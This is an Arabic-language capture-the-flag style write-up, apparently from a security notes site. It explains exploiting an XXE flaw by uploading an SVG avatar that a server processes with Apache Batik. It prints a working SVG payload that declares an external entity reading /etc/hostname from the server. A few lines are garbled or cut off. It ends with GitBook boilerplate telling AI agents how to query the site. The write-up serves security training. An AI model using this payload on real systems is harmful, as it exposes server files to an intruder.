> For the complete documentation index, see [llms.txt](https://hacking-notes.jord4n.pro/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://hacking-notes.jord4n.pro/ar/web/xxe/xxe-via-malicious-image-upload.md).

# XXE عبر رفع صورة خبيثة

### استغلال XXE عبر رفع ملف صورة

استغلال ثغرة XXE عبر إرسال صورة خبيثة (SVG) التي، أثناء معالجتها بواسطة مكتبة Apache Batik، تكشف محتوى ملف محلي. يتطلب التمرين رفع صورة رمزية SVG تعرض `/etc/hostname` المحتوى ثم إرسال اسم المضيف كحل.

يوفّر الموقع نموذجًا لإضافة d的avatar للتعليقات. من خلال اعتراض d

<figure><img src="/files/59aea3b075cf06c98a3e259f07c20df5f691a365" alt=""><figcaption></figcaption></figure>

<figure><img src="/files/26e7e3d1b072e48a3508302b07cfd0a55d0c938d" alt=""><figcaption></figcaption></figure>

أنشئ ملف SVG يحتوي على `<!DOCTYPE>` تعليمة تُعرّف كيانًا خارجيًا يشير إلى `file:///etc/hostname` ثم أدرِج ذلك الكيان في نص SVG بحيث، عند عرضه/معالجته، تُحقن محتويات الملف في الصورة المعروضة.

```svg
<?xml version="1.0" standalone="yes"?>
<!DOCTYPE test [ <!ENTITY xxe SYSTEM "file:///etc/hostname" > ]>
<svg width="128px" height="128px" xmlns="http://www.w3.org/2000/svg" xmlns:xlink="http://www.w3.org/1999/xlink" version="1.1">
   <text font-size="16" x="0" y="16">&xxe;</text>
</svg>
```

<figure><img src="/files/720fa0d0baee1e9fde6a392070a29e33456467c8" alt=""><figcaption></figcaption></figure>

بعد الرفع، يُظهر عرض الصورة الرمزية في قسم التعليقات أن الخادم فسّر ملف SVG وأعاد قيمة الكيان — محتوى `/etc/hostname` يظهر في الصورة، مما يتيح استخراج اسم المضيف وتقديم الحل.

<figure><img src="/files/76151d296e51922b64d1df4e50a2a63b15805778" alt=""><figcaption></figcaption></figure>


---

# Agent Instructions
This documentation is published with GitBook. GitBook is the documentation platform designed so that both humans and AI agents can read, navigate, and reason over technical content effectively. Learn more at gitbook.com.

## Querying This Documentation
If you need additional information that is not directly available in this page, you can query the documentation dynamically by asking a question.

Perform an HTTP GET request on the current page URL with the `ask` query parameter, and the optional `goal` query parameter:

```
GET https://hacking-notes.jord4n.pro/ar/web/xxe/xxe-via-malicious-image-upload.md?ask=<question>&goal=<endgoal>
```

`ask` is the immediate question: it should be specific, self-contained, and written in natural language.
`goal` is optional and describes the broader end goal you are ultimately trying to accomplish on behalf of the user. GitBook uses it to tailor the answer towards what is most useful for that goal.

The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.

Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.
